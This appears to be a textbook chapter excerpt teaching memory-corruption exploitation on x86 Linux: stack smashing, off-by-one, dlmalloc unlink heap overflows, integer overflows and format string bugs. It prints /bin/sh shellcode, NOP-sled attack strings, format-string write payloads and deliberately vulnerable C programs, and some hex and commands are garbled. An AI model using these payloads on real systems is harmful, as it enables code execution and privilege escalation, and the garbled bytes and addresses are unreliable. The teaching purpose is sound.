Compromising the logical program flow. You can abuse this behavior to overwrite the instruction pointer and force the processor to execute your own instructions (also known as shellcode). There are two challenges posed at this point:

• Getting the shellcode into the buffer
• Executing the shellcode, by determining the memory address for the start of the buffer

The first challenge is easy to overcome in this case; all you need to do is produce the sequence of instructions (shellcode) you wish to execute and pass them to the program as part of the user input. This causes the instruction sequence to be copied into the buffer (smallbuf). The shellcode can’t contain NULL (\0) characters because these will terminate the string abruptly.

The second challenge requires a little more thought, but it is straightforward if you have local access to the system. You must know, or guess, the location of the buffer in memory, so that you can overwrite the instruction pointer with the address and redirect execution to it.
Analyzing the program crash. By having local access to the program and operating system, along with debugging tools (such as gdb in Unix environments), you can analyze the program crash and identify the start address of the buffer and other addresses (such as the stack frame variables).

Example 14-2 shows the printme program running interactively using gdb. I provide the same long string, and the program crashes as a segmentation fault. Using the info registers command, I can see the addresses of the processor registers at the time of the crash.

Example 14-2. Crashing the program and examining the CPU registers

```
$ gdb printme
GNU gdb 4.16.1
Copyright 1996 Free Software Foundation, Inc.
(gdb)
run ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
Starting program: printme ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) info registers
eax            0x0      0
ecx            0x4013bf40       1075035968
edx            0x31     49
ebx            0x4013ec90       1075047568
esp            0xbffff440       0xbffff440
ebp            0x44434241       0x44434241
esi            0x40012f2c       1073819436
edi            0xbffff494       -1073744748
eip            0x44434241       0x44434241
eflags         0x10246  66118
cs             0x17     23
ss             0x1f     31
ds             0x1f     31
es              0x1f     31
fs              0x1f     31
gs              0x1f     31
```

Both the saved stack frame pointer and instruction pointer have been overwritten with the value 0x44434241. When the main() function returns and the program exits, the function epilogue executes, which takes the following actions using a last-in, first-out (LIFO) order:

- Set the stack pointer (esp) to the same value as the frame pointer (ebp)
- Pop the frame pointer (ebp) from the stack, moving the stack pointer (esp) four bytes upward so that it points at the saved instruction pointer
- Return, popping the saved instruction pointer (eip) from the stack and moving the stack pointer (esp) four bytes upward again
Example 14-2 reveals that the stack pointer (esp) is 0xbfffff440 at crash time. If you subtract 40 from this value (the size of the buffer, plus the saved ebp and eip values), you find the start of smallbuf.

The reason you subtract 40 from esp to get the smallbuf location is because the program crash occurs during the main() function epilogue, so esp has been set to the very top of the stack frame (after being set to equal ebp, and both ebp and eip popped from the stack).

Example 14-3 shows how to use gdb to analyze the data on the stack at 0xbfffff418 (esp-40) and neighboring addresses (esp-36 and esp-44). If you don’t have access to the source code of the application (to know that the buffer is 32 bytes), use the technique in Example 14-3 to step through the adjacent memory locations looking for your data.

Example 14-3. Examining addresses within the stack

```
(gdb) x/4bc 0xbfffff418
0xbfffff418:  65 'A'  66 'B'  67 'C'  68 'D'
(gdb) x/4bc 0xbfffff41c
0xbfffff41c: -28 'ä' -37 'û' -65 '¿' -33 'ß'
(gdb) x/4bc 0xbfffff414
0xbfffff414:  65 'A'  66 'B'  67 'C'  68 'D'
```

Now that you know the exact location of the start of smallbuf on the stack, you can execute arbitrary code within the vulnerable program. You can fill the buffer with shellcode and overwrite the saved instruction pointer, so that the shellcode is executed when the main() function returns.

Creating and injecting shellcode. Here’s a simple piece of 24-byte Linux shellcode that spawns a local /bin/sh command shell:

```
"\x31\xc0\x50\x68\x68\xe9f\x73\x68"
"\x68\x2f\x69\xe9f\xe3\x99"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
```

The destination buffer (smallbuf) is 32 bytes in size, so you use \x90 no-operation (NOP) instructions to pad out the rest of the buffer. Figure 14-7 shows the layout of the main() function stack frame that you want to achieve.

Technically, you can set the saved instruction pointer (also known as return address) to be anything between 0xbfffff418 and 0xbfffff41f because you can hit any of the NOP instructions. This technique is known as a NOP sled and is often used when the exact location of shellcode isn’t known.

The 40 bytes of data you are going to provide to the program are as follows:

```
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x50\x68\x68\xe9f\x73\x68"
"\x68\x2f\x69\xe9f\xe3\x99"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
"\xef\xbe\xda\xde\xe8\xf4\xff\xbf"
```
Because many of the characters are binary, and not printable, you must use Perl (or a similar program) to send the attack string to the `printme` program, as demonstrated in Example 14-4.

Example 14-4. Using Perl to send the attack string to the program

```
$ ./printme "perl -e 'print "\x90\x90\x90\x90\x90\x90\x90\x90\x31 \xc0\x50\x68\x6e\2f\x73\68\x68\x2f\x2f\x62\x69\89\e3\99\52 \x53\x89\xe1\b0\0b\cd\80\ef\be\ad\de\x18\xf4\x0f\xbf";';" 1\&192;Psh/shh//bi\&227;R58&225;8&176;
   &205;
$
```

After the program attempts to print the shellcode and the overflow occurs, the `/bin/sh` command shell is executed (changing the prompt to $). If this program is running as a privileged user (such as `root` in Unix environments), the command shell inherits the permissions of the parent process that is being overflowed.

Stack off-by-one (saved frame pointer overwrite)

Example 14-5 shows the same `printme` program, along with bounds checking of the user-supplied string, and a nested function to perform the copying of the string into the buffer. If the string is longer than 32 characters, it isn’t processed.

Example 14-5. printme.c with bounds checking

```c
int main(int argc, char *argv[])
{
    if(strlen(argv[1]) > 32)
    {
```
Example 14-6. Crashing the program with 32 bytes of input

Example 14-5. printme.c with bounds checking (continued)

```c
int vulfunc(char *arg)
{
    char smallbuf[32];
    strcpy(smallbuf, arg);
    printf("%s\n", smallbuf);
    return 0;
}
```

```c
printf("Input string too long!\n");
exit (1);
}
```

vulfunc(argv[1]);
return 0;
}

```c
int vulfunc(char *arg)
{
    char smallbuf[32];
    strcpy(smallbuf, arg);
    printf("%s\n", smallbuf);
    return 0;
}
```

Example 14-6 shows that, after compiling and running the program, it no longer crashes when receiving long input (over 32 characters) but does crash when exactly 32 characters are processed.

Analyzing the program crash

Figure 14-8 shows the `vulfunc()` stack frame when 31 characters are copied into the buffer, and Figure 14-9 shows the variables when exactly 32 characters are entered.

The filter that has been placed on the user-supplied input doesn’t take into account the NULL byte (`\0`) that terminates the string in C. When exactly 32 characters are provided, 33 bytes of data are placed in the buffer (including the NULL terminator), and the least significant byte of the saved frame pointer is overwritten, changing it from `0xbffff81c` to `0xbffff800`.

When the `vulfunc()` function returns, the function epilogue reads the stack frame variables to return to `main()`. First, the saved frame pointer value is popped by the processor, which should be `0xbffff81c` but is now `0xbffff800`, as shown in Figure 14-10.
The stack frame pointer (ebp) for `main()` has been slid down to a lower address. Next, the `main()` function returns and runs through the function epilogue, popping the new saved instruction pointer (ebp+4, with a value of 0x44434241) and causing a segmentation fault.

**Exploiting an off-by-one bug to modify the instruction pointer**

In essence, the way in which to exploit this off-by-one bug is to achieve a `main()` stack frame layout as shown in Figure 14-11.
This is achieved by encoding the 32 character user-supplied string to contain the correct binary characters. In this case, there are 20 bytes of space left for shellcode, which isn’t large enough to do anything useful (not even spawn /bin/sh), so here I’ve filled the buffer with NOPs, along with some assembler for exit(0). A technique used when there isn’t enough room for shellcode in the buffer is to set the shellcode up as an environment variable, whose address can be calculated relatively easily.

This attack requires two returns to be effective. First, the nested function’s saved frame pointer value is modified by the off-by-one; then, when the main function returns, the instruction pointer is set to the arbitrary address of the shellcode on the stack.
If you are researching off-by-one bugs and wish to create working and reliable examples, I recommend that you use a buffer of at least 128 bytes, so there is ample room to manipulate the new stack frame and test complex shellcode. A second point to note is that the gcc compiler (version 3 and later) puts 8 bytes of padding between the saved frame pointer and first local variable, thus negating the risk posed by off-by-one bugs because the padding, and not the saved frame pointer, is overwritten.

Exploiting an off-by-one bug to modify data in the parent function’s stack frame

You can also exploit an off-by-one bug to modify local variables and pointers in the parent function’s stack frame. This technique doesn’t require two returns and can be highly effective. Many off-by-one bugs in the wild are exploited by modifying local variables and pointers in this way. Unfortunately, this type of exploitation lies outside the scope of this book, although speakers (including scut from TESO and Halvar Flake) have spoken publicly about these issues at security conferences.

Off-by-one effectiveness against different processor architectures

Throughout this chapter, the examples I present are of a Linux platform running on an Intel x86 PC. Intel x86 (little-endian byte ordering) processors represent multibyte integers in reverse to Sun SPARC (big-endian byte ordering) processors. For example, if you use an off-by-one to overwrite 1 byte of the saved frame pointer on a SPARC platform with a NULL (\0) character, it changes from 0xbffff81c to 0x00fff81c, which is of little use because the stack frame is shifted down to a much lower address that you don’t control.

This means that only little-endian processors, such as Intel x86 and DEC Alpha, are susceptible to exploitable off-by-one attacks. In contrast, the following big-endian processors can’t be abused to overwrite the least significant byte of the saved stack frame pointer:

- Sun SPARC
- SGI R4000 and later
- IBM RS/6000
- Motorola PowerPC

Heap Overflows

Not all buffers are allocated on the stack. Often, an application doesn’t know how big to make certain buffers until it is running. Applications use the heap to dynamically allocate buffers of varying sizes. These buffers are susceptible to overflows if user-supplied data isn’t checked, leading to a compromise if an attacker overwrites other values on the heap.
Where the details of stack overflow exploitation rely on the specifics of hardware architecture, heap overflows are reliant on the way certain operating systems and libraries manage heap memory. Here I restrict the discussion of heap overflows to a specific environment: a Linux system running on an Intel x86 platform, using the default GNU libc heap implementation (based on Doug Lea’s *dlmalloc*). While this situation is specific, the techniques I discuss apply to other systems, including Solaris and Windows.

Heap overflows can result in compromises of both sensitive data (overwriting filenames and other variables on the heap) and logical program flow (through heap control structure and function pointer modification). I discuss the threat of compromising logical program flow here, along with a conceptual explanation and diagrams.

### Overflowing the Heap to Compromise Program Flow

The heap implementation divides the heap into manageable chunks and tracks which heaps are free and which are in use. Each chunk contains a header structure and free space (the buffer in which data is placed).

The header structure contains information about the size of the chunk and the size of the preceding chunk (if the preceding chunk is allocated). Figure 14-12 shows the layout of two adjacent allocated chunks.

![Figure 14-12. Two allocated chunks on the heap](image)

In Figure 14-12, *mem* is the pointer returned by the *malloc()* call to allocate the first chunk. The *size* and *prev_size* 4-byte values are used by the heap implementation to keep track of the heap and its layout. Please note that here I have drawn these heap
diagrams upside down (when compared with the previous stack diagrams), therefore 0xffffffff is downward in these figures.

The size element does more than just hold the size of the current chunk; it also specifies whether the previous chunk is free or not. If a chunk is allocated, the least significant bit is set for the size element of the next chunk; otherwise this bit is cleared. This bit is known as the PREV_INUSE flag; it specifies whether the previous chunk is in use.

When a program no longer needs a buffer allocated via malloc(), it passes the address of the buffer to the free() function. The chunk is deallocated, making it available for subsequent calls to malloc(). Once a chunk is freed, the following takes place:

- The PREV_INUSE bit is cleared from the size element of the following chunk, indicating that the current chunk is free for allocation.
- The addresses of the previous and next free chunks are placed in the chunk’s data section, using bk (backward) and fd (forward) pointers.

Figure 14-13 shows a chunk on the heap that has been freed, including the two new values that point to the next and previous free chunks in a doubly linked list (bk and fd), which are used by the heap implementation to track the heap and its layout.

![Diagram](image)

Figure 14-13. Two chunks, of which the first is free for allocation

When a chunk is deallocated, a number of checks take place. One check looks at the state of adjacent chunks. If adjacent chunks are free, they are all merged into a new, larger chunk. This ensures that the amount of usable memory is as large as possible. If no merging can be done, the next chunk’s PREV_INUSE bit is cleared, and accounting information is written into the current unused chunk.
Details of free chunks are stored in a doubly linked list. In the list, there is a forward pointer to the next free chunk (fd) and a backward pointer to the previous free chunk (bk). These pointers are placed in the unused chunk itself. The minimum size of a chunk is always 16 bytes, so there is enough space for the two pointers and two size integers.

The way this heap implementation consolidates two chunks is by adding the sizes of the two chunks together and then removing the second chunk from the doubly linked list of free chunks using the `unlink()` macro, which is defined like this:

```c
#define unlink(P, BK, FD) {                      
  FD = P->fd;                                    
  BK = P->bk;                                    
  FD->bk = BK;                                   
  BK->fd = FD;                                   
}
```

This means that in certain circumstances, the memory that fd+12 points to is overwritten with bk, and the memory that bk+8 points to is overwritten with the value of fd (where fd and bk are pointers in the chunk). These circumstances include:

- A chunk is freed.
- The next chunk appears to be free (the PREV_INUSE flag is unset on the next chunk after).

If you can overflow a buffer on the heap, you may be able to overwrite the chunk header of the next chunk on the heap, which allows you to force these conditions to be true. This, in turn, allows you to write four arbitrary bytes anywhere in memory (because you control the fd and bk pointers). Example 14-7 shows a simple vulnerable program.

**Example 14-7. A vulnerable heap-utilizing program**

```c
int main(void)
{
  char *buff1, *buff2;

  buff1 = malloc(40);
  buff2 = malloc(40);
  gets(buff1);
  free(buff1);
  exit(0);
}
```

In this example, two 40-byte buffers (buff1 and buff2) are assigned on the heap. buff1 is used to store user-supplied input from `gets()` and buff1 is deallocated with `free()` before the program exits. There is no checking imposed on the data fed into buff1 by `gets()`, so a heap overflow can occur. Figure 14-14 shows the heap when buff1 and buff2 are allocated.
The PREV_INUSE bit exists as the least significant byte of the size element. Because size is always a multiple of 8, the 3 least significant bytes are always 000 and can be used for other purposes. The number 48 converted to hexadecimal is 0x00000030, but with the PREV_INUSE bit set, it becomes 0x00000031 (effectively making the size value 49 bytes).

To pass the buff2 chunk to unlink() with fake fd and bk values, you need to overwrite the size element in the buff2 chunk header so the least significant bit (PREV_INUSE) is unset. In all of this, you have a few constraints to adhere to:

- prev_size and size are added to pointers inside free(), so they must have small absolute values (i.e., be small positive or small negative values).
- fd (next free chunk value) + size + 4 must point to a value that has its least significant bit cleared (to fool the heap implementation into thinking that the chunk after next is also free).
- There must be no NULL (\0) bytes in the overflow string, or gets() will stop copying data.

Since you aren’t allowed any NULL bytes, use small negative values for prev_size and size. A sound choice is -4, as this is represented in hexadecimal as 0xffffffffc.
Using -4 for the size has the added advantage that \( fd + \text{size} + 4 = fd - 4 + 4 = fd \). This means that `free()` thinks the `buff2` chunk is followed by another free chunk, which guarantees that the `buff2` chunk will be unlinked.

Figure 14-15 shows the heap layout when you overflow the `buff1` buffer and write the two -4 values to overwrite both `prev_size` and `size` in the header of the `buff2` chunk.

Because `free()` deallocates `buff1`, it checks to see if the next forward chunk is free by checking the `PREV_INUSE` flag in the third chunk (not displayed in Figure 14-15). Because the size element of the second chunk (`buff2`) is -4, the heap implementation reads the `PREV_INUSE` flag from the second chunk, believing it is the third. Next, the `unlink()` macro tries to consolidate the chunks into a new larger chunk, processing the fake `fd` and `bk` pointers.

As `free()` invokes the `unlink()` macro to modify the doubly linked list of free chunks, the following occurs:

- \( fd + 12 \) is overwritten with `bk`.
- \( bk + 8 \) is overwritten with `fd`.

---

*Figure 14-15. Overwriting heap control elements in the next chunk*
This means that you can overwrite a four-byte word of your choice anywhere in memory. You know from smashing the stack that overwriting a saved instruction pointer on the stack can lead to arbitrary code execution, but the stack moves around a lot, and this is difficult to do from the heap. Ideally, you want to overwrite an address that’s at a constant location in memory. Luckily, the Linux Executable File Format (ELF) provides several such regions of memory, two of which are:

- The Global Offset Table (GOT), which contains the addresses of various functions
- The .dtors (destructors) section, which contains addresses of functions that perform cleanup when a program exits

For the purposes of this example, let’s overwrite the address of the exit() function in the GOT. When the program calls exit() at the end of main(), execution jumps to whatever address we overwrite the address of exit() with. If you overwrite the GOT entry for exit() with the address of shellcode you supply, you must remember that the address of exit()’s GOT entry is written eight bytes into your shellcode, meaning that you need to jump over this word with a jmp .+10 processor instruction.

Set the next chunk variables and pointers to the following:

- fd = GOT address of exit() - 12
- bk = the shellcode address (buff1 in this case)

Figure 14-16 shows the desired layout of the heap after the program has called gets() with the crafted 0xfffffffc values for prev_size, size, fd, and bk placed into the buff2 chunk.

You effectively overwrite the GOT entry for exit() (located at 0x8044578) with the address of buff1 (0x80495f8), so that the shellcode is executed when the program calls exit().

Other Heap Corruption Attacks

The heap can be corrupted and logical program flow compromised using a small number of special techniques. Heap off-by-one, off-by-five, and double-free attacks can be used to great effect under certain circumstances. All these attacks are specific to heap implementations in the way they use control structures and doubly linked lists to keep track of free chunks.

Heap off-by-one and off-by-five bugs

As with little-endian architectures and stack off-by-one bugs, the heap is susceptible to an off-by-one or off-by-five attack, overwriting the PREV_INUSE least significant bit of prev_size (with an off-by-one) or size (with an off-by-five). By fooling free() into consolidating chunks that it shouldn’t, a fake chunk can be constructed, which results in the same attack occurring (by setting arbitrary fd and bk values).
Heap Overflows | 363

Double-free bugs

The fd and bk values can also be overwritten using a double-free attack. This attack doesn’t involve an overflow; rather the heap implementation is confused into placing a freed chunk onto its doubly linked list, while still allowing it to be written to by an attacker.

Recommended further reading

Unfortunately, double-free, off-by-one, and off-by-five heap bugs lie outside the scope of this book, but they are tackled in a small number of niche publications and online papers. For advanced heap overflow information (primarily relating to Linux environments), you should read the following:

http://www.phrack.org/archives/57/p57-0x09
http://www.phrack.org/archives/61/p61-0x06_Advanced_malloc_exploits.txt
http://www.w00w00.org/files/articles/heaptut.txt

Figure 14-16. Overwriting fd and bk to execute the shellcode
Integer Overflows

The term integer overflow is often misleading. An integer overflow is simply a delivery mechanism for a stack, heap, or static overflow to occur (depending on where the integer ends up in memory).

Arithmetic calculations are often performed on integers to calculate many things, such as the amount of data to be received from the network, the size of a buffer, etc. Some calculations are vital to the logic of a program, and if they result in erroneous values, the program’s logic may be severely corrupted or hijacked completely.

Calculations can sometimes be made to give incorrect results because the result is simply too big to be stored in the variable to which it is assigned. When this happens, the lowest part of the result is stored, and the rest (which doesn’t fit in the variable) is simply discarded, as demonstrated here:

```c
int a = 0xffffffff;
int b = 1;
int r = a + b;
```

After this code has executed, r should contain the value 0x100000000. However, this value is too big to hold as a 32-bit integer, so only the lowest 32 bits are kept and r is assigned the value 0.

This section concentrates on situations in which these incorrect calculations can be made to occur and some ways they can be used to bypass security. Usually the number provided is either too large, negative, or both.

Heap Wrap-Around Attacks

Programs often dynamically allocate buffers in which to store user-supplied data, especially if the amount of data sent varies. For example, a user sends a 2 KB file to a server, which allocates a 2 KB buffer and reads from the network into the buffer. Sometimes, the user will tell the program how much data she is going to send, so the program calculates the size of the buffer required. Example 14-8 contains a function that allocates enough room for an array on the heap (of length len integers).

```
Example 14-8. Code containing an integer overflow bug
int myfunction(int *array, int len)
{
    int *myarray, i;
    myarray = malloc(len * sizeof(int));
    if(myarray == NULL)
    {
        return -1;
    }
```
The calculation to find the size of len is the number of integers to be copied, multiplied by the length of an integer. This code is vulnerable to an integer overflow, which can cause the size of the buffer allocated to be much smaller than required. If the len parameter is very large (for example 0x40000001), the following calculation will be carried out:

\[
\text{length to allocate} = \text{len} \times \text{sizeof(int)} \\
= 0x40000000 \times 4 \\
= 0x100000004
\]

0x100000004 is too big to store as a 32-bit integer, so the lowest 32 bits are used, truncating it to 0x00000004. This means that malloc() will allocate only a 4-byte buffer, and the loop to copy data into the newly allocated array will write way past the end of this allocated buffer. This results in a heap overflow (which can be exploited in a number of ways, depending on the heap implementation).

A real-life example of an integer overflow is the challenge-response integer overflow in OpenSSH 3.3 (CVE-2002-0639). Example 14-9 shows the code that is executed when a user requests challenge-response authentication.

Example 14-9. The vulnerable OpenSSH 3.3 code

```c
nresp = packet_get_int();
if (nresp > 0)
{
    response = xmalloc(nresp * sizeof(char*));
    for (i = 0; i < nresp; i++)
        response[i] = packet_get_string(NULL);
}
```

packet_get_int() returns an integer read from the client, and packet_get_string() returns a pointer to a buffer on the heap containing a string read from the client. The user can set nresp to be any value, effectively allowing the user to completely control the size of the buffer allocated for response, and thus overflow it.

In this case a heap overflow occurs, resulting in the overwriting of a function pointer. By carefully choosing the size of the buffer, an attacker can allocate it at a memory address below a useful function pointer. After overwriting the function pointer with the address of the shellcode, the shellcode is executed when the pointer is used.
Negative-Size Bugs

Sometimes an application needs to copy data into a fixed-size buffer, so it checks the length of the data to avoid a buffer overflow. This type of check ensures secure operation of the application, so bypassing such a check can have severe consequences. Example 14-10 shows a function that is vulnerable to a negative-size attack.

A quick look suggests that this function is indeed secure: if the input data is too large to fit in the buffer, it refuses to copy the data and returns immediately. However, if the len parameter is negative, the size check will pass (because any negative value is less than 80), and the copy operation will take place. When memcpy() is told to copy, for example, –200 bytes, it interprets the number –200 as an unsigned value, which, by definition, can’t be negative.

The hexadecimal representation of –200 is 0xffffff38, so memcpy() copies 4,294,967,096 bytes of data (0xffffff38 in decimal) from src into dst, resulting in a buffer overflow and inevitable program crash.

Some implementations of memcpy() allow you to pass negative values for the length to be copied and still not copy so much data that the program dies before you can do something useful. The memcpy() supplied with BSD-derived systems can be abused in this manner, because you can force it to copy the last three bytes of the buffer before copying the rest of the buffer. It does this because copying whole words (four bytes) onto whole word boundaries can be done very quickly, but copying onto nonword-aligned addresses (i.e., addresses that aren’t multiples of four) is comparatively slow. It therefore makes sense to copy any odd bytes first so that the remainder of the buffer is word-aligned and can be copied quickly.

A problem arises, however, because after copying the odd bytes, the length to copy is reread from the stack and used to copy the rest of the buffer. If you can overwrite part of this length value with your first three bytes, you can trick memcpy() into copying a much smaller amount of data and not induce a crash.

Example 14-10. A negative-size bug in C

```c
int a_function(char *src, int len)
{
    char dst[80];
    if(len > sizeof(buf))
    {
        printf("That's too long\n");
        return 1;
    }
    memcpy(dst, src, len);
    return 0;
}
```
Negative-size bugs are often difficult to exploit because they relying on peripheral issues (such as `memcpy()` use in BSD-derived systems) for successful exploitation, as opposed to a program crash. For further technical details of integer overflows and exploitation methods, please see the following papers:

- http://www.phrack.org/archives/60/p60-0x0a.txt
- http://fakehalo.deadpig.org/IAO-paper.txt

**Format String Bugs**

Buffer overflows aren’t the only type of bug that can control a process. Another fairly common programming error occurs when a user can control the format parameter to a function such as `printf()` or `syslog()`. These functions take a format string as a parameter that describes how the other parameters should be interpreted.

For example, the string `%d` specifies that a parameter should be displayed as a signed decimal integer, while `%s` specifies that a parameter should be displayed as an ASCII string. Format strings give you a lot of control over how data is to be interpreted, and this control can sometimes be abused to read and write memory in arbitrary locations.

**Reading Adjacent Items on the Stack**

Example 14-11 shows a vulnerable C program, much like the `printfme` program in Example 14-1.

*Example 14-11. A simple C program containing a format string bug*

```c
int main(int argc, char *argv[])
{
  if(argc < 2)
  {
    printf("You need to supply an argument\n");
    return 1;
  }
  printf(argv[1]);
  return 0;
}
```

The program displays user-supplied input by using `printf()`. Here is what happens when you supply normal data and a format specifier to the program:

```
$ ./printf "Hello, world!"
Hello, world!
$ ./printf %x
b0186c0
```
If you supply the \%x format specifier, `printf()` displays the hexadecimal representation of an item on the stack. The item printed is, in fact, the address of what would be the second argument passed to `printf()` (if one was supplied). Since no arguments are passed, `printf()` reads and prints the 4-byte word immediately above the format string on the stack. Figure 14-17 shows how the stack should look if a valid second argument is passed.

![Figure 14-17. The printf() function’s stack frame](image)

Next, Figure 14-18 shows what the stack really looks like, as only one argument is passed in this case (the pointer to the format string).

![Figure 14-18. The second argument doesn’t really exist](image)
printf() takes the next 4-byte word above the pointer to the format string and prints it, assuming it to be the second argument. If you use a number of %x specifiers, printf() displays more data from the stack, progressively working upwards through memory:

```
$ ./printf %x.%x.%x.%x
b0186c0.cfbfd6c8.17f3.0
```

So far, you can read as much of the stack above the printf() stack frame as you like. Next, I’ll show how you can extend this ability to read from anywhere, write to anywhere, and redirect execution to wherever you choose.

## Reading Data from Any Address on the Stack

In most cases, the buffer containing your format string is located on the stack. This means that it’s located somewhere in memory not too far above the printf() stack frame and first argument. This also means that you can use the contents of the buffer as arguments to printf(). Example 14-12 shows the string ABC, along with 55 %x specifiers, being passed to the vulnerable program.

**Example 14-12. Using Perl to provide 55%x specifiers**

```
$ ./printf ABC `perl -e 'print "%x." x 55;'`
```

In the example, you place ABC into a buffer (as a local variable in the main() stack frame) and look for it by stepping through the 55 words (220 bytes) above the first argument to printf(). Near the end of the printed values is a string 43424100 (hexadecimal encoding of “CBA” along with the NULL terminator). This all means that by using arguments 51 and onward, you can access values entirely under your control, and use them as parameters to other format specifiers (such as %s). Figure 14-19 shows the main() and printf() stack frames during this %x reading attack.

You can use this technique to read data from any memory address by instructing printf() to read a string pointed to by its 53rd argument (in part of the main() buffer you control). You can place the address of the memory you wish to read and use the %s printf() specifier to display it.

You can use direct parameter access to tell printf() which argument you want to associate with a particular format specifier. % is a standard format specifier that tells the function to print the next string on the stack. A specifier using direct parameter access looks like %7$s; it instructs printf() to print the string pointed to by its seventh argument.
After a little experimentation, you will discover that the end of the buffer is equivalent to the 53rd argument, so the format string needs to look like this:

```c
%53$s(padding)(address to read)
```

%53$s is the format specifier telling `printf()` to process the value at the 53rd argument. The padding is needed to ensure that the address lies on an even word boundary, so that it may be used as an argument by `printf()`.

In this case, I will try to read part of the example program environment string table. I know the stack on my test system lives around address `0xbffff600`, so I will try reading the string at address `0xbffff680`. The following format string is passed:

```c
%53$sAA\x80\xf6\xff\xbf
```

%53$s is the format specifier that tells `printf()` to process the value at the 53rd argument. That argument is `0xbffff680` (aligned to an exact word by the AA padding), which in turn, points near the beginning of the stack (where environment variables and such are defined).

Note that the memory address is reversed (in little-endian format). Because this buffer contains some nonprintable characters, it is easiest to generate it with

---

Figure 14-19. Reading data from further up the stack
something like Perl. Here’s what happens when I pass this string to the vulnerable program:

```
$ .printf `perl -e 'print "%53$s" . "AA" . "\x80\xf6\xff\xbf"';`
TERM=xtermAA...¿Ï
```

The %s specifier displays the string at 0xcfbfd680. This is the TERM environment variable used by the program, followed by the AA padding and unprintable memory values. You can use this technique to display any value from memory.

**Overwriting Any Word in Memory**

To write to arbitrary memory locations using format strings, use the %n specifier. The printf(3) Unix manpage gives some insight into its use:

```
n     The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument.
   No argument is converted.
```

By supplying a pointer to the memory you wish to overwrite and issuing the %n specifier, you write the number of characters that printf() has written so far directly to that memory address. This means that in order to write arbitrary memory to arbitrary locations, you have to be able to control the number of characters written by printf().

Luckily, the precision parameter of the format specifier allows you to control the number of characters written. The precision of a format specifier is provided in the following manner:

```
%.0<precision>x
```

To write 20 characters, use %.020x. Unfortunately, if you provide a huge field width (e.g., 0xbffff0c0), printf() takes a very long time to print all the zeroes. It is more efficient to write the value in two blocks of two bytes, using the %hn specifier, which writes a short (two bytes) instead of an int (two bytes).

If more than 0xffff bytes have been written, %hn writes only the least significant two bytes of the real value to the address. For example, you can just write 0xf0c0 to the lowest two bytes of your target address, then print 0xbfff - 0xf0c0 = 0xcf3f characters, and write again to the highest two bytes of the target address.

Putting all this together, here’s what the final format string must look like to overwrite an arbitrary word in memory:

```
%.0(pad 1)x%(arg number 1)%hn%.0(pad 2)x%(arg number 2)
$hn(address 1)(address 2)(padding)
```

in which:

- **pad 1** is the lowest two bytes of the value you wish to write.
- **pad 2** is the highest two bytes of value, minus pad 1.
- **arg number 1** is the offset from the first argument to address 1 in the buffer.
• arg number 2 is the offset from first argument to address 2 in the buffer.
• address 1 is the address of lowest two bytes of address you wish to overwrite.
• address 2 is address 1 + 2.
• padding is between 0 and 4 bytes, to get the addresses on an even word boundary.

A sound approach is to overwrite the .dtors (destructors) section of the vulnerable program with an address you control. The .dtors section contains addresses of functions to be called when a program exits, so if you can write an address you control into that section, your shellcode will be executed when the program finishes.

Example 14-13 shows how to get the address of the start of the .dtors section from the binary using objdump.

Example 14-13. Using objdump to identify the .dtors section

```
$ objdump -t printf | grep \.dtors
  08049540 l    d  .dtors 00000000
  08049540 l     O .dtors 00000000         __DTOR_LIST__
  08048300 l     F .text 00000000         __do_global_dtors_aux
  08049544 l     O .dtors 00000000         __DTOR_END__
```

Here, the .dtors section starts at 0x08049540. I will overwrite the first function address in the section, four bytes after the start, at 0x08049544. I will overwrite it with 0xdeadbeef for the purposes of this demonstration, so that the format string values are as follows:

• pad 1 is set to 0xbeef (48879 in decimal).
• pad 2 is set to 0xdead - 0xbeef = 0x1fbe (8126 in decimal).
• arg number 1 is set to 114.
• arg number 2 is set to 115.
• address 1 is set to 0x08049544.
• address 2 is set to 0x08049546.

The assembled format string is as follows:

```
%.048879x%105$h% .08126x%106$h\x44\x95\x04\x08\x46\x95\x04\x08
```

Example 14-14 shows how, by using Perl through gdb, you can analyze the program crash because the first value in the .dtors section is overwritten with 0xdeadbeef.

Example 14-14. Using gdb to analyze the program crash

```
$ gdb ./printf
GNU gdb 4.16.1
Copyright 1996 Free Software Foundation, Inc.
(gdb) run `perl -e 'print ".048879x\n%.114\$hn\n%.08126x\n%.115\$hn\n\x44\x95\x04\x08\x46\x95\x04\x08\nA';`
```

00000000000000000000000000000000000000000000000000000000000000000000
Recommended Format String Bug Reading

If you would like more information about the various techniques that can exploit format string bugs, I recommend the following online papers:

- [http://community.corest.com/~juliano/usfs.html](http://community.corest.com/~juliano/usfs.html)
- [http://www.phrack.org/archives/59/p59-0x07.txt](http://www.phrack.org/archives/59/p59-0x07.txt)
- [http://online.securityfocus.com/archive/1/66842](http://online.securityfocus.com/archive/1/66842)
- [http://packetstormsecurity.org/papers/unix/formatstring-1.2.tar.gz](http://packetstormsecurity.org/papers/unix/formatstring-1.2.tar.gz)

Memory Manipulation Attacks Recap

Variables can be stored in the following areas of memory:

- Stack segment (local buffers with known sizes)
- Heap segment (dynamically allocated buffers with varying sizes)
- BSS and data segments (static buffers used for global variables)

If input validation and bounds checking of the data used by a process and stored in memory isn’t performed, logical program flow can be compromised through the following types of process manipulation attack:

**Stack smash bugs**

The saved instruction pointer for the stack frame is overwritten, which results in a compromise when the function epilogue occurs, and the instruction pointer is popped. This executes arbitrary code from a location of your choice.

**Stack off-by-one bugs**

The least significant byte of the saved frame pointer for the stack frame is overwritten, which results in the parent stack frame existing at a slightly lower memory address than before (into memory that you control). You can overwrite the saved instruction pointer of the new stack frame and wait for the function to exit (requiring two returns in succession) or overwrite a function pointer or other variable found within the new stack frame. This attack is only effective against little-endian processors, such as Intel x86 and DEC Alpha.
Heap overflows

If you supply too much data to a buffer on the heap, you can overwrite both heap control structures for other memory chunks or overwrite function pointers or other data. Some heap implementations (such as BSD PHK, used by FreeBSD, NetBSD, and OpenBSD) don’t mix heap data and control structures, so they are only susceptible to function pointers and adjacent heap data being overwritten.

Static overflows

